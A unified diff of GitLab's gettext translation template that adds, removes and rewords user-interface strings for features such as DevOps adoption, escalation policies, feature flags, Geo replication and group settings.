msgid "Configure GitLab runners to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
msgstr ""
@@ -8509,6 +8266,9 @@ msgstr ""
msgid "ContainerRegistry|Cleanup pending"
msgstr ""
+msgid "ContainerRegistry|Cleanup policies are now available for this project. %{linkStart}Click here to get started.%{linkEnd}"
+msgstr ""
+
msgid "ContainerRegistry|Cleanup policy for tags is disabled"
msgstr ""
@@ -8861,7 +8621,7 @@ msgstr ""
msgid "Control emails linked to your account"
msgstr ""
-msgid "Control the display of third party offers."
+msgid "Control whether to display third-party offers in GitLab."
msgstr ""
msgid "Cookie domain"
@@ -8900,6 +8660,9 @@ msgstr ""
msgid "Copy ID"
msgstr ""
+msgid "Copy IP Address"
+msgstr ""
+
msgid "Copy KRB5 clone URL"
msgstr ""
@@ -8966,6 +8729,9 @@ msgstr ""
msgid "Copy the code below to implement tracking in your application:"
msgstr ""
+msgid "Copy this registration token."
+msgstr ""
+
msgid "Copy this value"
msgstr ""
@@ -9206,9 +8972,6 @@ msgstr ""
msgid "Create blank project"
msgstr ""
-msgid "Create blank project/repository"
-msgstr ""
-
msgid "Create branch"
msgstr ""
@@ -9335,9 +9098,6 @@ msgstr ""
msgid "Create your group"
msgstr ""
-msgid "Create your own profile to collaborate with your teammates in issues, merge requests, and more."
-msgstr ""
-
msgid "Create/import your first project"
msgstr ""
@@ -9569,6 +9329,12 @@ msgstr ""
msgid "CredentialsInventory|SSH Keys"
msgstr ""
+msgid "Credit card validated at:"
+msgstr ""
+
+msgid "Credit card validated:"
+msgstr ""
+
msgid "Critical vulnerabilities present"
msgstr ""
@@ -9578,9 +9344,6 @@ msgstr ""
msgid "Cron time zone"
msgstr ""
-msgid "Crossplane"
-msgstr ""
-
msgid "Crowd"
msgstr ""
@@ -9596,9 +9359,6 @@ msgstr ""
msgid "Current forks will keep their visibility level."
msgstr ""
-msgid "Current node"
-msgstr ""
-
msgid "Current node must be the primary node or you will be locking yourself out"
msgstr ""
@@ -9674,6 +9434,9 @@ msgstr ""
msgid "Customizable by owners."
msgstr ""
+msgid "Customize CI/CD settings, including Auto DevOps, shared runners, and job artifacts."
+msgstr ""
+
msgid "Customize colors"
msgstr ""
@@ -9889,9 +9652,6 @@ msgstr ""
msgid "DAST Scans"
msgstr ""
-msgid "DAST Settings"
-msgstr ""
-
msgid "DNS"
msgstr ""
@@ -9958,6 +9718,18 @@ msgstr ""
msgid "Dashboard|Unable to add %{invalidProjects}. This dashboard is available for public projects, and private projects in groups with a Premium plan."
msgstr ""
+msgid "DastConfig|Customize DAST settings to suit your requirements. Configuration changes made here override those provided by GitLab and are excluded from updates. For details of more advanced configuration options, see the %{docsLinkStart}GitLab DAST documentation%{docsLinkEnd}."
+msgstr ""
+
+msgid "DastConfig|DAST Settings"
+msgstr ""
+
+msgid "DastConfig|Generate code snippet"
+msgstr ""
+
+msgid "DastConfig|Scan Configuration"
+msgstr ""
+
msgid "DastProfiles|A passive scan monitors all HTTP messages (requests and responses) sent to the target. An active scan attacks the target to find potential vulnerabilities."
msgstr ""
@@ -10316,9 +10088,6 @@ msgstr ""
msgid "Date range"
msgstr ""
-msgid "Date range cannot exceed %{maxDateRange} days."
-msgstr ""
-
msgid "Date range must be shorter than %{max_range} days."
msgstr ""
@@ -10343,6 +10112,9 @@ msgstr ""
msgid "Days to merge"
msgstr ""
+msgid "Deactivate dormant users after 90 days of inactivity. Users can return to active status by signing in to their account. While inactive, a user is not counted as an active user in the instance."
+msgstr ""
+
msgid "Deactivate this user"
msgstr ""
@@ -10376,7 +10148,7 @@ msgstr ""
msgid "Default"
msgstr ""
-msgid "Default CI configuration path"
+msgid "Default CI/CD configuration file"
msgstr ""
msgid "Default Timeout Period"
@@ -10496,6 +10268,9 @@ msgstr ""
msgid "Delete domain"
msgstr ""
+msgid "Delete file"
+msgstr ""
+
msgid "Delete image repository"
msgstr ""
@@ -11160,12 +10935,30 @@ msgstr ""
msgid "DevOps Report"
msgstr ""
+msgid "DevOps adoption"
+msgstr ""
+
+msgid "DevopsAdoption|%{adoptedCount}/%{featuresCount} %{title} features adopted"
+msgstr ""
+
msgid "DevopsAdoption|Add Group"
msgstr ""
msgid "DevopsAdoption|Add a group to get started"
msgstr ""
+msgid "DevopsAdoption|Add group"
+msgstr ""
+
+msgid "DevopsAdoption|Add group to table"
+msgstr ""
+
+msgid "DevopsAdoption|Add sub-group"
+msgstr ""
+
+msgid "DevopsAdoption|Add sub-group to table"
+msgstr ""
+
msgid "DevopsAdoption|Add/remove groups"
msgstr ""
@@ -11223,7 +11016,7 @@ msgstr ""
msgid "DevopsAdoption|DevOps adoption tracks the use of key features across your favorite groups. Add a group to the table to begin."
msgstr ""
-msgid "DevopsAdoption|Feature adoption is based on usage in the current calendar month. Last updated: %{timestamp}."
+msgid "DevopsAdoption|Feature adoption is based on usage in the previous calendar month. Last updated: %{timestamp}."
msgstr ""
msgid "DevopsAdoption|Filter by name"
@@ -11235,21 +11028,24 @@ msgstr ""
msgid "DevopsAdoption|MRs"
msgstr ""
-msgid "DevopsAdoption|Maximum %{maxSegments} groups allowed"
-msgstr ""
-
msgid "DevopsAdoption|My group"
msgstr ""
msgid "DevopsAdoption|No filter results."
msgstr ""
+msgid "DevopsAdoption|No results…"
+msgstr ""
+
msgid "DevopsAdoption|Not adopted"
msgstr ""
msgid "DevopsAdoption|Ops"
msgstr ""
+msgid "DevopsAdoption|Overall adoption"
+msgstr ""
+
msgid "DevopsAdoption|Pipelines"
msgstr ""
@@ -11283,6 +11079,9 @@ msgstr ""
msgid "DevopsAdoption|There was an error fetching Groups. Please refresh the page."
msgstr ""
+msgid "DevopsAdoption|This group has no sub-groups"
+msgstr ""
+
msgid "DevopsAdoption|You cannot remove the group you are currently in."
msgstr ""
@@ -11304,6 +11103,9 @@ msgstr ""
msgid "DevopsReport|Moderate"
msgstr ""
+msgid "DevopsReport|Overview"
+msgstr ""
+
msgid "DevopsReport|Score"
msgstr ""
@@ -11322,15 +11124,12 @@ msgstr ""
msgid "Didn't receive unlock instructions?"
msgstr ""
-msgid "Diff content limits"
+msgid "Diff files surpassing this limit will be presented as 'too large' and won't be expandable."
msgstr ""
msgid "Diff limits"
msgstr ""
-msgid "Diff view settings"
-msgstr ""
-
msgid "Difference between start date and now"
msgstr ""
@@ -11515,7 +11314,7 @@ msgstr ""
msgid "Display source"
msgstr ""
-msgid "Do not display offers from third parties within GitLab"
+msgid "Do not display offers from third parties"
msgstr ""
msgid "Do you want to remove this deploy key?"
@@ -11566,7 +11365,7 @@ msgstr ""
msgid "Don't paste the private part of the GPG key. Paste the public part which begins with '-----BEGIN PGP PUBLIC KEY BLOCK-----'."
msgstr ""
-msgid "Don't send usage data"
+msgid "Don't send service data"
msgstr ""
msgid "Don't show again"
@@ -11575,6 +11374,9 @@ msgstr ""
msgid "Done"
msgstr ""
+msgid "Dormant users"
+msgstr ""
+
msgid "Download"
msgstr ""
@@ -11791,9 +11593,6 @@ msgstr ""
msgid "Edit iteration"
msgstr ""
-msgid "Edit iteration cadence"
-msgstr ""
-
msgid "Edit public deploy key"
msgstr ""
@@ -11827,9 +11626,6 @@ msgstr ""
msgid "Editing"
msgstr ""
-msgid "Editor Lite instance is required to set up an extension."
-msgstr ""
-
msgid "Elapsed time"
msgstr ""
@@ -11890,6 +11686,9 @@ msgstr ""
msgid "Email display name"
msgstr ""
+msgid "Email from GitLab - email users right from the Admin Area. %{link_start}Learn more%{link_end}."
+msgstr ""
+
msgid "Email not verified. Please verify your email in Salesforce."
msgstr ""
@@ -12019,6 +11818,9 @@ msgstr ""
msgid "Enable Kroki"
msgstr ""
+msgid "Enable Mailgun event receiver"
+msgstr ""
+
msgid "Enable PlantUML"
msgstr ""
@@ -12028,13 +11830,16 @@ msgstr ""
msgid "Enable Pseudonymizer data collection"
msgstr ""
+msgid "Enable Registration Features"
+msgstr ""
+
msgid "Enable Repository Checks"
msgstr ""
msgid "Enable SSL verification"
msgstr ""
-msgid "Enable Seat Link"
+msgid "Enable Snowplow tracking"
msgstr ""
msgid "Enable Spam Check via external API endpoint"
@@ -12115,13 +11920,10 @@ msgstr ""
msgid "Enable mirror configuration"
msgstr ""
-msgid "Enable or disable Seat Link."
-msgstr ""
-
msgid "Enable or disable the Pseudonymizer data collection."
msgstr ""
-msgid "Enable or disable version check and usage ping."
+msgid "Enable or disable version check and service ping."
msgstr ""
msgid "Enable protected paths rate limit"
@@ -12139,6 +11941,9 @@ msgstr ""
msgid "Enable reCAPTCHA, Invisible Captcha, Akismet and set IP limits. For reCAPTCHA, we currently only support %{recaptcha_v2_link_start}v2%{recaptcha_v2_link_end}"
msgstr ""
+msgid "Enable service ping"
+msgstr ""
+
msgid "Enable shared runners for all projects and subgroups in this group."
msgstr ""
@@ -12154,9 +11959,6 @@ msgstr ""
msgid "Enable smartcn custom analyzer: Search"
msgstr ""
-msgid "Enable snowplow tracking"
-msgstr ""
-
msgid "Enable two-factor authentication"
msgstr ""
@@ -12166,9 +11968,6 @@ msgstr ""
msgid "Enable unauthenticated request rate limit"
msgstr ""
-msgid "Enable usage ping"
-msgstr ""
-
msgid "Enable version check"
msgstr ""
@@ -12298,6 +12097,9 @@ msgstr ""
msgid "Enter your password to approve"
msgstr ""
+msgid "Enterprise"
+msgstr ""
+
msgid "Environment"
msgstr ""
@@ -12463,9 +12265,6 @@ msgstr ""
msgid "Environments|Logs from %{start} to %{end}."
msgstr ""
-msgid "Environments|Managed apps"
-msgstr ""
-
msgid "Environments|More information"
msgstr ""
@@ -12946,7 +12745,7 @@ msgstr ""
msgid "Escalation policies"
msgstr ""
-msgid "Escalation policies are not supported for this project"
+msgid "Escalation policies must have at least one rule"
msgstr ""
msgid "EscalationPolicies|+ Add an additional rule"
@@ -12955,30 +12754,54 @@ msgstr ""
msgid "EscalationPolicies|A schedule is required for adding an escalation policy."
msgstr ""
+msgid "EscalationPolicies|A schedule is required for adding an escalation policy. Please create an on-call schedule first."
+msgstr ""
+
msgid "EscalationPolicies|Add an escalation policy"
msgstr ""
msgid "EscalationPolicies|Add escalation policy"
msgstr ""
+msgid "EscalationPolicies|Add policy"
+msgstr ""
+
+msgid "EscalationPolicies|Are you sure you want to delete the \"%{escalationPolicy}\" escalation policy? This action cannot be undone."
+msgstr ""
+
msgid "EscalationPolicies|Create an escalation policy in GitLab"
msgstr ""
+msgid "EscalationPolicies|Delete escalation policy"
+msgstr ""
+
msgid "EscalationPolicies|Edit escalation policy"
msgstr ""
+msgid "EscalationPolicies|Elapsed time must be greater than or equal to zero."
+msgstr ""
+
msgid "EscalationPolicies|Email on-call user in schedule"
msgstr ""
+msgid "EscalationPolicies|Escalation policies"
+msgstr ""
+
msgid "EscalationPolicies|Escalation rules"
msgstr ""
msgid "EscalationPolicies|Failed to load oncall-schedules"
msgstr ""
+msgid "EscalationPolicies|IF alert is not %{alertStatus} in %{minutes} %{then} THEN %{doAction} %{schedule}"
+msgstr ""
+
msgid "EscalationPolicies|IF alert is not %{alertStatus} in %{minutes} minutes"
msgstr ""
+msgid "EscalationPolicies|Remove escalation rule"
+msgstr ""
+
msgid "EscalationPolicies|Select schedule"
msgstr ""
@@ -12988,6 +12811,15 @@ msgstr ""
msgid "EscalationPolicies|THEN %{doAction} %{schedule}"
msgstr ""
+msgid "EscalationPolicies|The escalation policy could not be deleted. Please try again."
+msgstr ""
+
+msgid "EscalationPolicies|The escalation policy could not be updated. Please try again"
+msgstr ""
+
+msgid "EscalationPolicies|mins"
+msgstr ""
+
msgid "Estimate"
msgstr ""
@@ -13024,9 +12856,6 @@ msgstr ""
msgid "Events"
msgstr ""
-msgid "Events in %{project_path}"
-msgstr ""
-
msgid "Every %{action} attempt has failed: %{job_error_message}. Please try again."
msgstr ""
@@ -13169,7 +12998,7 @@ msgstr ""
msgid "Experienced"
msgstr ""
-msgid "ExperimentSubject|Must have exactly one of User, Group, or Project."
+msgid "ExperimentSubject|Must have exactly one of User, Namespace, or Project."
msgstr ""
msgid "Expiration"
@@ -13190,9 +13019,6 @@ msgstr ""
msgid "Expires"
msgstr ""
-msgid "Expires at"
-msgstr ""
-
msgid "Expires at (optional)"
msgstr ""
@@ -13289,9 +13115,6 @@ msgstr ""
msgid "External storage authentication token"
msgstr ""
-msgid "External url has already been taken"
-msgstr ""
-
msgid "ExternalAuthorizationService|Classification label"
msgstr ""
@@ -13310,9 +13133,6 @@ msgstr ""
msgid "ExternalWikiService|https://example.com/xxx/wiki/..."
msgstr ""
-msgid "Externally installed"
-msgstr ""
-
msgid "Facebook"
msgstr ""
@@ -13598,9 +13418,6 @@ msgstr ""
msgid "Feature Flags"
msgstr ""
-msgid "Feature flag is not enabled on the environment's project."
-msgstr ""
-
msgid "Feature flag status"
msgstr ""
@@ -13629,9 +13446,6 @@ msgstr ""
msgid "FeatureFlags|* (All Environments)"
msgstr ""
-msgid "FeatureFlags|* (All environments)"
-msgstr ""
-
msgid "FeatureFlags|API URL"
msgstr ""
@@ -13680,9 +13494,6 @@ msgstr ""
msgid "FeatureFlags|Enable features for specific users and environments by configuring feature flag strategies."
msgstr ""
-msgid "FeatureFlags|Environment Spec"
-msgstr ""
-
msgid "FeatureFlags|Environment Specs"
msgstr ""
@@ -13713,9 +13524,6 @@ msgstr ""
msgid "FeatureFlags|Feature flags limit reached (%{featureFlagsLimit}). Delete one or more feature flags before adding new ones."
msgstr ""
-msgid "FeatureFlags|Flag is read-only"
-msgstr ""
-
msgid "FeatureFlags|Get started with feature flags"
msgstr ""
@@ -13731,9 +13539,6 @@ msgstr ""
msgid "FeatureFlags|Inactive flag for %{scope}"
msgstr ""
-msgid "FeatureFlags|Include additional user IDs"
-msgstr ""
-
msgid "FeatureFlags|Install a %{docsLinkAnchoredStart}compatible client library%{docsLinkAnchoredEnd} and specify the API URL, application name, and instance ID during the configuration setup. %{docsLinkStart}More Information%{docsLinkEnd}"
msgstr ""
@@ -13773,24 +13578,12 @@ msgstr ""
msgid "FeatureFlags|Percent rollout"
msgstr ""
-msgid "FeatureFlags|Percent rollout (logged in users)"
-msgstr ""
-
msgid "FeatureFlags|Percent rollout must be an integer number between 0 and 100"
msgstr ""
-msgid "FeatureFlags|Protected"
-msgstr ""
-
msgid "FeatureFlags|Remove"
msgstr ""
-msgid "FeatureFlags|Rollout Percentage"
-msgstr ""
-
-msgid "FeatureFlags|Rollout Strategy"
-msgstr ""
-
msgid "FeatureFlags|Set the Unleash client application name to the name of the environment your application runs in. This value is used to match environment scopes. See the %{linkStart}example client configuration%{linkEnd}."
msgstr ""
@@ -13800,9 +13593,6 @@ msgstr ""
msgid "FeatureFlags|Strategies"
msgstr ""
-msgid "FeatureFlags|Target environments"
-msgstr ""
-
msgid "FeatureFlags|There was an error fetching the feature flags."
msgstr ""
@@ -13885,9 +13675,6 @@ msgstr ""
msgid "File deleted"
msgstr ""
-msgid "File format is no longer supported"
-msgstr ""
-
msgid "File hooks are similar to system hooks but are executed as files instead of sending data to a URL."
msgstr ""
@@ -13903,6 +13690,9 @@ msgstr ""
msgid "File renamed with no changes."
msgstr ""
+msgid "File suppressed by a .gitattributes entry or the file's encoding is unsupported."
+msgstr ""
+
msgid "File synchronization concurrency limit"
msgstr ""
@@ -13969,9 +13759,6 @@ msgstr ""
msgid "Filter by name"
msgstr ""
-msgid "Filter by status"
-msgstr ""
-
msgid "Filter by test cases that are currently archived."
msgstr ""
@@ -14140,6 +13927,9 @@ msgstr ""
msgid "For each job, re-use the project workspace. If the workspace doesn't exist, use %{code_open}git clone%{code_close}."
msgstr ""
+msgid "For example, the application using the token or the purpose of the token."
+msgstr ""
+
msgid "For general work"
msgstr ""
@@ -14161,10 +13951,7 @@ msgstr ""
msgid "For more information, see the File Hooks documentation."
msgstr ""
-msgid "For more information, see the documentation on %{deactivating_usage_ping_link_start}deactivating the usage ping%{deactivating_usage_ping_link_end}."
-msgstr ""
-
-msgid "For more information, see the documentation on %{link_start}disabling Seat Link%{link_end}."
+msgid "For more information, see the documentation on %{deactivating_service_ping_link_start}deactivating service ping%{deactivating_service_ping_link_end}."
msgstr ""
msgid "Forgot your password?"
@@ -14368,159 +14155,21 @@ msgstr ""
msgid "Geo Nodes"
msgstr ""
-msgid "Geo Nodes|Cannot remove a primary node if there is a secondary node"
-msgstr ""
-
msgid "Geo Replication"
msgstr ""
msgid "Geo Settings"
msgstr ""
-msgid "Geo nodes are paused using a command run on the node"
-msgstr ""
-
msgid "Geo sites"
msgstr ""
-msgid "GeoNodeStatusEvent|%{timeAgoStr} (%{pendingEvents} events)"
-msgstr ""
-
-msgid "GeoNodeSyncStatus|Node is failing or broken."
-msgstr ""
-
-msgid "GeoNodeSyncStatus|Node is slow, overloaded, or it just recovered after an outage."
-msgstr ""
-
-msgid "GeoNodes|Consult Geo troubleshooting information"
-msgstr ""
-
-msgid "GeoNodes|Data replication lag"
-msgstr ""
-
-msgid "GeoNodes|Does not match the primary storage configuration"
-msgstr ""
-
-msgid "GeoNodes|Full"
-msgstr ""
-
-msgid "GeoNodes|GitLab version"
-msgstr ""
-
-msgid "GeoNodes|GitLab version does not match the primary node version"
-msgstr ""
-
-msgid "GeoNodes|Health status"
-msgstr ""
-
-msgid "GeoNodes|Internal URL"
-msgstr ""
-
-msgid "GeoNodes|Last event ID processed by cursor"
-msgstr ""
-
-msgid "GeoNodes|Last event ID seen from primary"
-msgstr ""
-
-msgid "GeoNodes|Learn more about Geo node statuses"
-msgstr ""
-
-msgid "GeoNodes|Loading nodes"
-msgstr ""
-
-msgid "GeoNodes|New node"
-msgstr ""
-
-msgid "GeoNodes|Node Authentication was successfully repaired."
-msgstr ""
-
-msgid "GeoNodes|Node URL"
-msgstr ""
-
-msgid "GeoNodes|Node was successfully removed."
-msgstr ""
-
-msgid "GeoNodes|Node's status was updated %{timeAgo}."
-msgstr ""
-
-msgid "GeoNodes|Pausing replication stops the sync process. Are you sure?"
-msgstr ""
-
-msgid "GeoNodes|Removing a Geo primary node stops the synchronization to all nodes. Are you sure?"
-msgstr ""
-
-msgid "GeoNodes|Removing a Geo secondary node stops the synchronization to that node. Are you sure?"
-msgstr ""
-
-msgid "GeoNodes|Replicated data is verified with the %{nodeText} using checksums"
-msgstr ""
-
-msgid "GeoNodes|Replication slot WAL"
-msgstr ""
-
-msgid "GeoNodes|Replication slots"
-msgstr ""
-
-msgid "GeoNodes|Replication status"
-msgstr ""
-
-msgid "GeoNodes|Selective (%{syncLabel})"
-msgstr ""
-
-msgid "GeoNodes|Selective synchronization"
-msgstr ""
-
-msgid "GeoNodes|Something went wrong while changing node status"
-msgstr ""
-
-msgid "GeoNodes|Something went wrong while fetching nodes"
-msgstr ""
-
-msgid "GeoNodes|Something went wrong while removing node"
-msgstr ""
-
-msgid "GeoNodes|Something went wrong while repairing node"
-msgstr ""
-
-msgid "GeoNodes|Storage config"
-msgstr ""
-
-msgid "GeoNodes|Sync settings"
-msgstr ""
-
-msgid "GeoNodes|Unused slots"
-msgstr ""
-
-msgid "GeoNodes|Updated %{timeAgo}"
-msgstr ""
-
-msgid "GeoNodes|Used slots"
-msgstr ""
-
-msgid "GeoNodes|With %{geo} you can install a special read-only and replicated instance anywhere. Before you add nodes, follow the %{instructions} in the exact order they appear."
-msgstr ""
-
-msgid "GeoNodes|You have configured Geo nodes using an insecure HTTP connection. We recommend the use of HTTPS."
-msgstr ""
-
-msgid "GeoNodes|primary node"
-msgstr ""
-
-msgid "GeoNodes|secondary nodes"
-msgstr ""
-
msgid "Geo|%{component} synced"
msgstr ""
msgid "Geo|%{component} verified"
msgstr ""
-msgid "Geo|%{itemTitle} checksum progress"
-msgstr ""
-
-msgid "Geo|%{itemTitle} verification progress"
-msgstr ""
-
msgid "Geo|%{label} can't be blank"
msgstr ""
@@ -14611,6 +14260,9 @@ msgstr ""
msgid "Geo|Failed"
msgstr ""
+msgid "Geo|Filter by name"
+msgstr ""
+
msgid "Geo|Filter by status"
msgstr ""
@@ -14710,9 +14362,6 @@ msgstr ""
msgid "Geo|Pending verification"
msgstr ""
-msgid "Geo|Please refer to Geo Troubleshooting."
-msgstr ""
-
msgid "Geo|Primary node"
msgstr ""
@@ -14785,6 +14434,12 @@ msgstr ""
msgid "Geo|Resync all"
msgstr ""
+msgid "Geo|Resync all %{replicableType}"
+msgstr ""
+
+msgid "Geo|Resync all projects"
+msgstr ""
+
msgid "Geo|Retry count"
msgstr ""
@@ -14794,6 +14449,9 @@ msgstr ""
msgid "Geo|Reverify all"
msgstr ""
+msgid "Geo|Reverify all projects"
+msgstr ""
+
msgid "Geo|Review replication status, and resynchronize and reverify items with the primary node."
msgstr ""
@@ -14824,9 +14482,6 @@ msgstr ""
msgid "Geo|Synchronization failed - %{error}"
msgstr ""
-msgid "Geo|Synchronization of %{itemTitle} is disabled."
-msgstr ""
-
msgid "Geo|Synchronization settings"
msgstr ""
@@ -14848,6 +14503,15 @@ msgstr ""
msgid "Geo|There was an error fetching the Geo Nodes"
msgstr ""
+msgid "Geo|This will resync all %{replicableType}. It may take some time to complete. Are you sure you want to continue?"
+msgstr ""
+
+msgid "Geo|This will resync all projects. It may take some time to complete. Are you sure you want to continue?"
+msgstr ""
+
+msgid "Geo|This will reverify all projects. It may take some time to complete. Are you sure you want to continue?"
+msgstr ""
+
msgid "Geo|Tracking database entry will be removed. Are you sure?"
msgstr ""
@@ -15388,9 +15052,6 @@ msgstr ""
msgid "Goal of the changes and what reviewers should be aware of"
msgstr ""
-msgid "Google Cloud Platform"
-msgstr ""
-
msgid "Google authentication is not %{link_start}properly configured%{link_end}. Ask your GitLab administrator if you want to use this service."
msgstr ""
@@ -15436,6 +15097,15 @@ msgstr ""
msgid "Graph"
msgstr ""
+msgid "GraphViewType|Job dependencies"
+msgstr ""
+
+msgid "GraphViewType|Show dependencies"
+msgstr ""
+
+msgid "GraphViewType|Stage"
+msgstr ""
+
msgid "Gravatar"
msgstr ""
@@ -15457,9 +15127,6 @@ msgstr ""
msgid "Group %{group_name} was successfully created."
msgstr ""
-msgid "Group Audit Events"
-msgstr ""
-
msgid "Group Git LFS status:"
msgstr ""
@@ -15490,6 +15157,9 @@ msgstr ""
msgid "Group applications"
msgstr ""
+msgid "Group audit events"
+msgstr ""
+
msgid "Group avatar"
msgstr ""
@@ -15559,13 +15229,10 @@ msgstr ""
msgid "Group navigation"
msgstr ""
-msgid "Group overview"
-msgstr ""
-
msgid "Group overview content"
msgstr ""
-msgid "Group path is already taken. Suggestions: "
+msgid "Group path is already taken. We've suggested one that is available."
msgstr ""
msgid "Group path is available."
@@ -15601,9 +15268,6 @@ msgstr ""
msgid "Group was successfully updated."
msgstr ""
-msgid "Group-level events in %{group_name} (no project-level events)"
-msgstr ""
-
msgid "Group: %{group_name}"
msgstr ""
@@ -15916,18 +15580,15 @@ msgstr ""
msgid "GroupSettings|Prevent forking setting was not saved"
msgstr ""
-msgid "GroupSettings|Prevent sharing a project within %{group} with other groups"
+msgid "GroupSettings|Prevent members from sending invitations to groups outside of %{group} and its subgroups."
msgstr ""
-msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay."
+msgid "GroupSettings|Prevent sharing a project within %{group} with other groups"
msgstr ""
msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. Inherited by subgroups."
msgstr ""
-msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. This delay can be %{link_start}customized by an admin%{link_end} in instance settings."
-msgstr ""
-
msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. This delay can be %{link_start}customized by an admin%{link_end} in instance settings. Inherited by subgroups."
msgstr ""
@@ -15952,6 +15613,9 @@ msgstr ""
msgid "GroupSettings|This setting is applied on %{ancestor_group}. You can override the setting or %{remove_ancestor_share_with_group_lock}."
msgstr ""
+msgid "GroupSettings|This setting is only available on the top-level group and it applies to all subgroups. Groups that have already been shared with a group outside %{group} will still be shared, and this access will have to be revoked manually."
+msgstr ""
+
msgid "GroupSettings|This setting will be applied to all subgroups unless overridden by a group owner. Groups that already have access to the project will continue to have access unless removed manually."
msgstr ""
@@ -15991,13 +15655,13 @@ msgstr ""
msgid "GroupSettings|remove the share with group lock from %{ancestor_group_name}"
msgstr ""
-msgid "Groups"
+msgid "GroupTemplate|The selected group's repositories and databases are copied into the projects created in this group. %{link_start}What should I add to my template group?%{link_end} "
msgstr ""
-msgid "Groups (%{count})"
+msgid "Groups"
msgstr ""
-msgid "Groups (%{groups})"
+msgid "Groups (%{count})"
msgstr ""
msgid "Groups and projects"
@@ -16180,6 +15844,9 @@ msgstr ""
msgid "Heading 3"
msgstr ""
+msgid "Heading 4"
+msgstr ""
+
msgid "Headings"
msgstr ""
@@ -16295,6 +15962,9 @@ msgstr ""
msgid "Hide shared projects"
msgstr ""
+msgid "Hide tooltips or popovers"
+msgstr ""
+
msgid "Hide value"
msgid_plural "Hide values"
msgstr[0] ""
@@ -16377,9 +16047,6 @@ msgstr ""
msgid "How do I set up this service?"
msgstr ""
-msgid "How does cleanup work?"
-msgstr ""
-
msgid "How it works"
msgstr ""
@@ -16527,6 +16194,9 @@ msgstr ""
msgid "If enabled, only protected branches will be mirrored."
msgstr ""
+msgid "If no options are selected, only administrators can register runners."
+msgstr ""
+
msgid "If the YouTube URL is https://www.youtube.com/watch?v=0t1DgySidms then the video ID is %{id}"
msgstr ""
@@ -16703,9 +16373,6 @@ msgstr ""
msgid "Import project members"
msgstr ""
-msgid "Import project/repository"
-msgstr ""
-
msgid "Import projects from Bitbucket"
msgstr ""
@@ -17208,13 +16875,16 @@ msgstr ""
msgid "InProductMarketing|you may %{unsubscribe_link} at any time."
msgstr ""
+msgid "Inactive"
+msgstr ""
+
msgid "Incident"
msgstr ""
msgid "Incident Management Limits"
msgstr ""
-msgid "Incident template (optional)"
+msgid "Incident template (optional)."
msgstr ""
msgid "IncidentManagement|%{hours} hours, %{minutes} minutes remaining"
@@ -17304,9 +16974,6 @@ msgstr ""
msgid "IncidentSettings|Activate \"time to SLA\" countdown timer"
msgstr ""
-msgid "IncidentSettings|Alert integration"
-msgstr ""
-
msgid "IncidentSettings|Fine-tune incident settings and set up integrations with external tools to help better manage incidents."
msgstr ""
@@ -17460,6 +17127,18 @@ msgstr ""
msgid "Infrastructure Registry"
msgstr ""
+msgid "InfrastructureRegistry|Copy Terraform Command"
+msgstr ""
+
+msgid "InfrastructureRegistry|Copy Terraform Setup Command"
+msgstr ""
+
+msgid "InfrastructureRegistry|Copy and paste into your Terraform configuration, insert the variables, and run Terraform init:"
+msgstr ""
+
+msgid "InfrastructureRegistry|For more information on the Terraform registry, %{linkStart}see our documentation%{linkEnd}."
+msgstr ""
+
msgid "InfrastructureRegistry|Infrastructure Registry"
msgstr ""
@@ -17472,6 +17151,9 @@ msgstr ""
msgid "InfrastructureRegistry|Terraform modules are the main way to package and reuse resource configurations with Terraform. Learn more about how to %{noPackagesLinkStart}create Terraform modules%{noPackagesLinkEnd} in GitLab."
msgstr ""
+msgid "InfrastructureRegistry|To authorize access to the Terraform registry:"
+msgstr ""
+
msgid "InfrastructureRegistry|You have no Terraform modules in your project"
msgstr ""
@@ -17511,6 +17193,9 @@ msgstr ""
msgid "Insert inline code"
msgstr ""
+msgid "Insert link"
+msgstr ""
+
msgid "Insert suggestion"
msgstr ""
@@ -17526,9 +17211,6 @@ msgstr ""
msgid "Insights|This project is filtered out in the insights.yml file (see the projects.only config for more information)."
msgstr ""
-msgid "Install"
-msgstr ""
-
msgid "Install GitLab Runner and ensure it's running."
msgstr ""
@@ -17541,12 +17223,6 @@ msgstr ""
msgid "Installation"
msgstr ""
-msgid "Installed"
-msgstr ""
-
-msgid "Installing"
-msgstr ""
-
msgid "Instance"
msgid_plural "Instances"
msgstr[0] ""
@@ -17566,6 +17242,9 @@ msgstr ""
msgid "Instance administrators group already exists"
msgstr ""
+msgid "Instance audit events"
+msgstr ""
+
msgid "Instance overview"
msgstr ""
@@ -17608,9 +17287,6 @@ msgstr ""
msgid "Integrations|All projects inheriting these settings will also be reset."
msgstr ""
-msgid "Integrations|As a GitLab administrator, you can set default configuration parameters for a given integration that all projects can inherit and use. When you set these parameters, your changes update the integration for all projects that are not already using custom settings. Learn more about %{integrations_link_start}Project integration management%{link_end}."
-msgstr ""
-
msgid "Integrations|Browser limitations"
msgstr ""
@@ -17650,12 +17326,24 @@ msgstr ""
msgid "Integrations|Failed to unlink namespace. Please try again."
msgstr ""
+msgid "Integrations|GitLab administrators can set up integrations that all groups and projects inherit and use by default. These integrations apply to all groups and projects that don't already use custom settings. You can override custom settings for a group or project if the settings are necessary at that level. Learn more about %{integrations_link_start}instance-level integration management%{link_end}."
+msgstr ""
+
+msgid "Integrations|GitLab administrators can set up integrations that all projects in a group inherit and use by default. These integrations apply to all projects that don't already use custom settings. You can override custom settings for a project if the settings are necessary at that level. Learn more about %{integrations_link_start}group-level integration management%{link_end}."
+msgstr ""
+
+msgid "Integrations|Group-level integration management"
+msgstr ""
+
msgid "Integrations|Includes Standard, plus the entire commit message, commit hash, and issue IDs"
msgstr ""
msgid "Integrations|Includes commit title and branch."
msgstr ""
+msgid "Integrations|Instance-level integration management"
+msgstr ""
+
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
msgstr ""
@@ -17680,9 +17368,6 @@ msgstr ""
msgid "Integrations|Note: this integration only works with accounts on GitLab.com (SaaS)."
msgstr ""
-msgid "Integrations|Project integration management"
-msgstr ""
-
msgid "Integrations|Projects using custom settings will not be affected."
msgstr ""
@@ -17833,6 +17518,9 @@ msgstr ""
msgid "Invalid login or password"
msgstr ""
+msgid "Invalid period"
+msgstr ""
+
msgid "Invalid pin code"
msgstr ""
@@ -17908,25 +17596,7 @@ msgstr ""
